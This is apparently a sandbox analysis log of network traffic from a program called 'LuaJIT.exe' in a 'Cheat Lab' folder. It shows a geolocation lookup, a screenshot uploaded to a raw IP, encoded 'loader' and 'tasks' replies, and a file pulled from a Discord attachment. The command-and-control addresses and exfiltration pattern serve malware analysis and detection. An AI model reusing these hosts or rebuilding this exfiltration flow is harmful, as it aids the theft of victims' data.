Nov 6, 2023 15:35:16.177603960 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.177611113 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.177634001 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.177649975 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.180108070 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.180128098 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.180171967 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.180180073 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.180207014 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.180229902 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.182853937 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.182874918 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.182981968 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.182990074 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.183032990 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.185946941 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.185980082 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.186022043 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.186031103 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.186058044 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.186079979 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.188472033 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.188493967 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.188538074 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.188549042 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.188566923 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.188592911 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.191159964 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.191183090 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.191246033 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.191260099 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.191284895 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.191306114 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.192722082 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.192790985 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.192800999 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.192816019 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:16.192841053 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.192867994 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.378087044 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:16.378119946 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:44.705333948 CET	80	49706	208.95.112.1	192.168.2.8
Nov 6, 2023 15:35:44.705404043 CET	49706	80	192.168.2.8	208.95.112.1
Nov 6, 2023 15:35:52.639214993 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:52.980511904 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:53.208043098 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:53.208134890 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:53.857706070 CET	49706	80	192.168.2.8	208.95.112.1
Nov 6, 2023 15:35:53.857814074 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:53.857848883 CET	49709	80	192.168.2.8	162.159.135.233
Nov 6, 2023 15:36:00.270668983 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:00.573293924 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:00.574059963 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:00.799024105 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:01.101700068 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:01.148008108 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:01.555639982 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:01.858289957 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:01.913654089 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:09.034656048 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:09.338588953 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:09.338614941 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:09.338629007 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:09.338799953 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:09.382380009 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:11.953821898 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:12.256141901 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.256184101 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.256196022 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.256445885 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:12.558661938 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.558689117 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.558701038 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.558733940 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.583852053 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.584768057 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:12.888008118 CET	33597	49715	91.103.252.48	192.168.2.8
Nov 6, 2023 15:36:12.929425955 CET	49715	33597	192.168.2.8	91.103.252.48
Nov 6, 2023 15:36:13.144226074 CET	49715	33597	192.168.2.8	91.103.252.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2023 15:35:04.876082897 CET	63009	53	192.168.2.8	1.1.1.1
Nov 6, 2023 15:35:05.029712915 CET	53	63009	1.1.1.1	192.168.2.8
Nov 6, 2023 15:35:11.444747925 CET	62737	53	192.168.2.8	1.1.1.1
Nov 6, 2023 15:35:11.598057985 CET	53	62737	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 6, 2023 15:35:04.876082897 CET	192.168.2.8	1.1.1.1	0x7ccd	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 6, 2023 15:35:11.444747925 CET	192.168.2.8	1.1.1.1	0x4e0	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 6, 2023 15:35:05.029712915 CET	1.1.1.1	192.168.2.8	0x7ccd	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 6, 2023 15:35:11.598057985 CET	1.1.1.1	192.168.2.8	0x4e0	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)	false
Nov 6, 2023 15:35:11.598057985 CET	1.1.1.1	192.168.2.8	0x4e0	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)	false
Nov 6, 2023 15:35:11.598057985 CET	1.1.1.1	192.168.2.8	0x4e0	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)	false
Nov 6, 2023 15:35:11.598057985 CET	1.1.1.1	192.168.2.8	0x4e0	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)	false
Nov 6, 2023 15:35:11.598057985 CET	1.1.1.1	192.168.2.8	0x4e0	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cdn.discordapp.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49710	162.159.135.233	443	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49706	208.95.112.1	80	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Timestamp	kBytes transferred	Direction	Data
Nov 6, 2023 15:35:05.240181923 CET	0	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: Sun Host: ip-api.com Cache-Control: no-cache
Nov 6, 2023 15:35:05.392359972 CET	1	IN	HTTP/1.1 200 OK Date: Mon, 06 Nov 2023 14:35:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 114 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 69 74 79 22 3a 22 53 65 61 74 74 6c 65 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 71 75 65 72 79 22 3a 22 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 22 7d Data Ascii: {"status":"success","countryCode":"US","city":"Seattle","timezone":"America/Los_Angeles","query":"156.146.49.168"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.8	49708	193.37.71.112	80	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Timestamp	kBytes transferred	Direction	Data
Nov 6, 2023 15:35:06.671708107 CET	4	OUT	PUT /loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms HTTP/1.1 Content-Type: multipart/form-data; boundary=qMhxCagN55R5AwRzdpCrqAg3d User-Agent: Sun Host: 193.37.71.112 Content-Length: 3933204 Cache-Control: no-cache
Nov 6, 2023 15:35:06.672602892 CET	15	OUT	Data Raw: 2d 2d 71 4d 68 78 43 61 67 4e 35 35 52 35 41 77 52 7a 64 70 43 72 71 41 67 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --qMhxCagN55R5AwRzdpCrqAg3dContent-Type: application/octet-streamContent-Disposition: form-data; name="file"; filename="screen.bmp"BM6($$######$$$$$$$$#
Nov 6, 2023 15:35:07.013747931 CET	17	OUT	Data Raw: 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 Data Ascii: vlg$$#################################
Nov 6, 2023 15:35:07.013850927 CET	39	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 c2 c2 c2 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 Data Ascii: ##################""""""""""""""""""""""#####################"""###"""""
Nov 6, 2023 15:35:07.354974031 CET	47	OUT	Data Raw: 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 Data Ascii: """""""""""""#####################"""""""""""""""""""""""""""""""""""""""""""""""
Nov 6, 2023 15:35:07.355123043 CET	74	OUT	Data Raw: 18 00 22 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 Data Ascii: "#####################""""""""""""""""""""""""""""""""""""""""""""""""""""#%#%"$}044
Nov 6, 2023 15:35:07.356364965 CET	76	OUT	Data Raw: 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 Data Ascii: """""""""""""""""""""""""""""""EVTQtBBBBBBBBBBBBRUV4UU""""""""""""""""""""""""""E$I
Nov 6, 2023 15:35:07.356441975 CET	81	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 de de de 12 12 12 b4 b4 b4 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 b4 b4 b4 12 12 12 d5 d5 d5 f2 f2 f2 Data Ascii: +uu+R+uu+R+uu+R+RR+u+Ru+RRu+R
Nov 6, 2023 15:35:07.704330921 CET	145	OUT	Data Raw: 18 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 22 17 00 48 95 aa 5c d4 ff 5c d4 ff 5b d3 fd 5a d1 fb 5a d0 fa 59 cf f8 59 cf Data Ascii: """""""""""""""""""H\\[ZZYYYYYYYYYYZ[[\\6VU""""""""""""""""""""""""""L-L-L-L-@ym*9_\|/\|/\|/\|/}/
Nov 6, 2023 15:35:07.704554081 CET	151	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
Nov 6, 2023 15:35:08.044728994 CET	179	OUT	Data Raw: 1d 0f 00 1d 0f 00 1d 0f 00 1d 0f 00 1d 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
Nov 6, 2023 15:35:11.267046928 CET	3883	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Nov 2023 14:35:11 GMT Content-Type: application/json Content-Length: 2064 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lYxRLgZohEZTUF2mKIZd34r1HmIY4AzlPVJEHy5RVFZmIa7ShhzFniR6rG4Z9y1r2QP%2F8479uiP6xysfBvNd70aX300uDQmOwO2H9hW%2Fs5gBoEVjPPkkZcIcnLkka9M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 821e0fbbdca265a2-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 7b 22 6c 6f 61 64 65 72 22 3a 22 59 6a 4d 73 4e 57 49 73 5a 44 49 73 59 6d 4d 73 59 6d 59 73 4f 54 49 73 59 7a 45 73 5a 47 59 73 59 57 49 73 59 6a 59 73 5a 44 41 73 59 6d 45 73 59 6d 59 73 5a 44 55 73 59 7a 59 73 4f 57 51 73 59 6a 59 73 4f 54 59 73 4f 54 51 73 4f 47 51 73 4e 32 49 73 59 54 4d 73 4e 6a 4d 73 4e 54 59 73 4f 54 4d 73 59 6a 59 73 59 7a 55 73 5a 44 49 73 59 7a 63 73 5a 47 45 73 59 7a 59 73 4e 6a 67 73 4e 7a 49 73 4e 54 6b 73 59 54 45 73 4e 6d 59 73 4e 6d 59 73 4e 54 4d 73 59 7a 41 73 5a 44 45 73 59 6a 67 73 59 6a 4d 73 5a 54 41 73 59 7a 49 73 59 6d 51 73 59 32 59 73 4f 44 51 73 4e 7a 49 73 4e 6a 51 73 5a 57 59 73 4e 32 4d 73 5a 54 45 73 59 6a 51 73 5a 54 51 73 59 54 67 73 4e 54 59 73 4e 6d 4d 73 4e 6a 45 73 4e 32 55 73 4f 54 51 73 4f 44 45 73 4f 44 55 73 4e 32 45 73 59 6a 6b 73 59 57 4d 73 4f 57 45 73 5a 54 51 73 59 6a 67 73 59 7a 49 73 4e 54 4d 73 4f 44 67 73 4f 47 4d 73 59 6a 49 73 59 6a 4d 73 5a 44 63 73 59 7a 63 73 59 6d 59 73 5a 54 51 73 4f 47 55 73 4e 54 67 73 4e 6a 59 73 5a 54 67 73 59 6d 49 73 59 32 59 73 59 6a 63 73 5a 47 4d 73 59 6a 63 73 4e 54 59 73 4e 6d 4d 73 4e 6a 45 73 59 32 4d 73 4f 44 55 73 59 7a 6b 73 59 32 45 73 5a 44 41 73 59 6d 45 73 4e 57 45 73 4e 7a 4d 73 4f 54 41 73 4e 6a 55 73 4f 54 41 73 4f 57 59 73 4e 6d 55 73 5a 44 45 73 59 6d 55 73 59 7a 51 73 5a 47 45 73 59 7a 59 73 4e 32 45 73 5a 44 59 73 59 7a 55 73 4f 57 49 73 59 6a 6b 73 5a 54 59 73 59 32 4d 73 5a 44 49 73 59 57 59 73 4f 54 6b 73 4e 6d 59 73 4e 54 51 73 4e 54 51 73 59 6a 51 73 59 7a 55 73 59 7a 51 73 59 7a 6b 73 5a 47 45 73 59 32 49 73 4e 6a 67 73 4e 7a 49 73 4e 54 6b 73 5a 44 59 73 59 54 51 73 59 6d 49 73 59 54 51 73 59 6a 4d 73 5a 54 6b 73 4e 7a 67 73 4e 7a 49 73 4f 47 51 73 59 6d 4d 73 59 7a 4d 73 59 32 49 73 59 7a 63 73 4e 57 45 73 4e 32 55 73 4f 54 51 73 4f 47 45 73 4f 54 6b 73 4e 6d 49 73 4f 54 6b 73 59 6a 4d 73 4f 54 6b 73 59 54 51 73 59 6a 51 73 59 6d 45 73 5a 44 59 73 59 7a 6b 73 59 32 45 73 59 7a 59 73 59 54 6b 73 4f 57 51 73 4e 57 49 73 59 57 45 73 4e 6a 4d 73 4f 44 41 73 59 57 55 73 22 2c 22 74 61 73 6b 73 22 3a 22 4f 54 4d 73 59 6a 51 73 4f 54 49 73 59 57 4d 73 59 6a 4d 73 4e 54 4d 73 4f 44 67 73 4f 47 Data Ascii: {"loader":"YjMsNWIsZDIsYmMsYmYsOTIsYzEsZGYsYWIsYjYsZDAsYmEsYmYsZDUsYzYsOWQsYjYsOTYsOTQsOGQsN2IsYTMsNjMsNTYsOTMsYjYsYzUsZDIsYzcsZGEsYzYsNjgsNzIsNTksYTEsNmYsNmYsNTMsYzAsZDEsYjgsYjMsZTAsYzIsYmQsY2YsODQsNzIsNjQsZWYsN2MsZTEsYjQsZTQsYTgsNTYsNmMsNjEsN2UsOTQsODEsODUsN2EsYjksYWMsOWEsZTQsYjgsYzIsNTMsODgsOGMsYjIsYjMsZDcsYzcsYmYsZTQsOGUsNTgsNjYsZTgsYmIsY2YsYjcsZGMsYjcsNTYsNmMsNjEsY2MsODUsYzksY2EsZDAsYmEsNWEsNzMsOTAsNjUsOTAsOWYsNmUsZDEsYmUsYzQsZGEsYzYsN2EsZDYsYzUsOWIsYjksZTYsY2MsZDIsYWYsOTksNmYsNTQsNTQsYjQsYzUsYzQsYzksZGEsY2IsNjgsNzIsNTksZDYsYTQsYmIsYTQsYjMsZTksNzgsNzIsOGQsYmMsYzMsY2IsYzcsNWEsN2UsOTQsOGEsOTksNmIsOTksYjMsOTksYTQsYjQsYmEsZDYsYzksY2EsYzYsYTksOWQsNWIsYWEsNjMsODAsYWUs","tasks":"OTMsYjQsOTIsYWMsYjMsNTMsODgsOG
Nov 6, 2023 15:35:11.267074108 CET	3884	IN	Data Raw: 4d 73 4f 44 4d 73 4f 44 59 73 4f 57 51 73 4f 44 41 73 4e 32 45 73 4f 44 6b 73 59 32 55 73 59 54 45 73 59 6a 49 73 5a 47 59 73 4e 32 4d 73 59 54 63 73 4e 6d 49 73 4f 54 6b 73 59 57 49 73 59 54 67 73 59 54 59 73 59 6a 45 73 59 7a 51 73 4f 57 51 73 Data Ascii: MsODMsODYsOWQsODAsN2EsODksY2UsYTEsYjIsZGYsN2MsYTcsNmIsOTksYWIsYTgsYTYsYjEsYzQsOWQsODQsOTQsYmIsYWEsYTYsNjcsZDQsYWMsYzIsOTQsYmQsZGUsYjAsYjMsZGIsYzQsODgsY2EsZDEsYTUsNzMsZDUsY2UsZTEsYWMsZGEsYWIsYTEsOTcsYWYsYzUsZDYsODQsOTYsODksN2MsNmUsNmYsYTksNzcsO
Nov 6, 2023 15:35:11.267086983 CET	3884	IN	Data Raw: 59 6d 49 73 5a 54 45 73 59 6a 6b 73 59 32 4d 73 5a 54 41 73 4f 44 51 73 4e 7a 49 73 4e 6a 51 73 4f 54 59 73 59 6d 49 73 5a 47 49 73 59 7a 51 73 4f 54 6b 73 59 7a 41 73 4f 54 45 73 22 7d Data Ascii: YmIsZTEsYjksY2MsZTAsODQsNzIsNjQsOTYsYmIsZGIsYzQsOTksYzAsOTEs"}
Nov 6, 2023 15:35:52.639214993 CET	4921	OUT	PUT /task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms HTTP/1.1 Content-Type: application/json User-Agent: Sun Host: 193.37.71.112 Content-Length: 95 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 57 4d 73 4f 57 45 73 5a 54 4d 73 59 57 55 73 4f 54 67 73 4f 54 55 73 4f 47 49 73 59 54 4d 73 4f 44 41 73 4f 44 51 73 4f 54 45 73 59 6a 63 73 59 7a 6b 73 5a 47 4d 73 5a 44 41 73 59 57 4d 73 59 6a 59 73 5a 57 51 73 4f 54 63 73 59 7a 49 73 4f 57 55 3d 22 7d Data Ascii: {"data":"YWMsOWEsZTMsYWUsOTgsOTUsOGIsYTMsODAsODQsOTEsYjcsYzksZGMsZDAsYWMsYjYsZWQsOTcsYzIsOWU="}
Nov 6, 2023 15:35:53.208043098 CET	4921	IN	HTTP/1.1 204 No Content Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Nov 2023 14:35:53 GMT Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0XOucqCjvv3VPRkcvMwYyuwKnEAD2qCaLXqzPo6gPL9MX0PhDH6TMstGRTGYdpGvaGd2sq74d4ZKiS0ovsapE3zr2%2FLXGd5TtZAKbDNEWr5qvPH4iiYBKCUWG%2FaEIHze94bwHqIUbuMgZzM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 821e10c759569c01-FRA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.8	49709	162.159.135.233	80	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Timestamp	kBytes transferred	Direction	Data
Nov 6, 2023 15:35:11.752551079 CET	3885	OUT	GET /attachments/1166694393298817025/1171047481182793729/2.txt HTTP/1.1 Content-Type: application/json User-Agent: Sun Host: cdn.discordapp.com Cache-Control: no-cache
Nov 6, 2023 15:35:11.924105883 CET	3886	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 06 Nov 2023 14:35:11 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 06 Nov 2023 15:35:11 GMT Location: https://cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txt X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=5TVRDgPAgt7sc6gsEttnfN0eDDrfzltqZkEmXeQrSGI-1699281311-0-Ach3L7F2jrD2g1+SXtBkwMSCeBQHpGNsVTTE68SlkNmKmSeVEdy1XlrN3NZRaM5Usel7HW4WuQx/wkDdjnJvM5Q=; path=/; expires=Mon, 06-Nov-23 15:05:11 GMT; domain=.discordapp.com; HttpOnly; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q42IxppLrkHmZdrEB4whVBnBS6R4Y3H6PhBmM1miJwy0zOU2%2FGPVN5myohAqB6xZlJo4hqvJ9Q30G3Y1HsqQ95g%2FALicG7F4uLFBAImEeojH7kscW6PlTgNGaWtKRffo2B9v1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: _cfuvid=raqL3qnypn7be7P8ZI1DqIF7wMtLn1AIkoosLiGT3OU-1699281311839-0-604800000; path=/; domain=.discordapp.com; HttpOnly Server: cloudflare CF-RAY: 821e0fc6ea5430a7-SEA alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49710	162.159.135.233	443	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Timestamp	kBytes transferred	Direction	Data
2023-11-06 14:35:15 UTC	0	OUT	GET /attachments/1166694393298817025/1171047481182793729/2.txt HTTP/1.1 User-Agent: Sun Cache-Control: no-cache Host: cdn.discordapp.com Connection: Keep-Alive Cookie: __cf_bm=5TVRDgPAgt7sc6gsEttnfN0eDDrfzltqZkEmXeQrSGI-1699281311-0-Ach3L7F2jrD2g1+SXtBkwMSCeBQHpGNsVTTE68SlkNmKmSeVEdy1XlrN3NZRaM5Usel7HW4WuQx/wkDdjnJvM5Q=; _cfuvid=raqL3qnypn7be7P8ZI1DqIF7wMtLn1AIkoosLiGT3OU-1699281311839-0-604800000
2023-11-06 14:35:15 UTC	0	IN	HTTP/1.1 200 OK Date: Mon, 06 Nov 2023 14:35:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 978522 Connection: close CF-Ray: 821e0fdc285ac668-SEA CF-Cache-Status: MISS Accept-Ranges: bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="2.txt" ETag: "596ff0fbdbcf4853e72308b8178664d6" Expires: Tue, 05 Nov 2024 14:35:15 GMT Last-Modified: Mon, 06 Nov 2023 11:24:36 GMT Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=86400 x-goog-generation: 1699269876595408 x-goog-hash: crc32c=dySmqg== x-goog-hash: md5=WW/w+9vPSFPnIwi4F4Zk1g== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 978522 X-GUploader-UploadID: ABPtcPoBAxXdhwEMXxAeqdLnto03XOQVj2B1WXevQ9JFDCTopA-1EaCYZskeOb4KRiFBuXQXmMo X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=h5nRtvmgwBNMnGFUtKf3fvcrQX39G4xpccV1Jshs1a4coC74a9EpX8%2Bh1y6Ze1rJ0Lyo6J%2B%2FjKl9JEJKRS1Z3uoWhoqkXTnd%2FOVqyUv6ZPEb9mqy3wis1YS0jMUJq6Bv6miq5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
